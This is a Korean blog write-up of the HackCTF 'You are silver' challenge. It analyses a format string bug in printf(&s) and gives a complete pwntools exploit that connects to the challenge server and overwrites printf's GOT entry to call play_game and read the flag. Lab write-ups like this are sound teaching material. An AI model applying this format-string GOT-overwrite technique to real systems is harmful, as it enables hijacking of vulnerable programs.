You are silver 풀이
2021. 11. 22. 19:20ㆍHackCTF
728x90
이번 문제는 실행하자마자 세그먼트 폴트가 떴습니다.
우선 코드 분석부터 하겠습니다.
처음 main() 함수에서 fgets() 함수로 46 길이의 문자열을 입력받습니다.
그리고 printf(&s)로 입력받은 문자열을 출력하는데, 이 부분에서 FSB가 발생한다는 걸 알 수 있습니다.
그리고 get_tier() 함수에 인자로 v6의 초기값인 50을 넣어주고, 그 반환 값을 v5에 저장합니다.
get_tier() 함수는 조건 분기문으로 사용자의 티어를 판별해주는 함수입니다.
인자가 50으로 들어왔으니 "You are silver"를 출력하게 되고, 1을 리턴해줍니다.
다시 main() 함수로 돌아오면 v5의 값(1)을 주소로 하는 값을 출력하도록 되어있습니다.
그렇기에 이 부분에서 세그먼트 폴트가 발생하게 되고 프로그램은 종료됩니다.
기본적인 로직만 봤을 때는 system("cat ./flag")가 들어있는 play_game() 함수를 호출하지 않습니다.
프로그램에 적용된 보호기법을 봤을 때, GOT Overwrite가 가능하니, 이를 이용해서 play_game() 함수를 실행시키면 FLAG를 획득 할 수 있을 것입니다.
문제 풀이 시나리오
1. printf_got를 play_game() 주소로 덮기
2. 76을 인자로 넘겨주기
from pwn import *
context.log_level='debug'
p=remote('ctf.j0n9hyun.xyz',3022)
e=ELF('./you_are_silver')
play_game=0x4006D7
print_got=e.got['printf']
#offset : 6
payload=''
payload+='%{}c'.format(play_game)
payload+='%8$lnAA' #8byte(AA는 공간 남길래 padding)
payload+=p64(print_got)
payload+='L'*(46-len(payload)) #int로 하니 error..!
p.sendlineafter('name',payload)
p.interactive()
원래는 76을 그냥 넣으려고 했는데, 에러가 나더군요...
그래서 아스키코드값이 76인 L을 넣어줬습니다.
728x90
'HackCTF' 카테고리의 다른 글
RTL_Core 풀이 (0) | 2021.07.18 |
---|---|
RTL_World 풀이 (0) | 2021.07.17 |
Offset 풀이 (0) | 2021.07.14 |
Simple_Overflow_ver_2 풀이 (0) | 2021.07.14 |
x64 Simple_size_BOF 풀이 (0) | 2021.07.13 |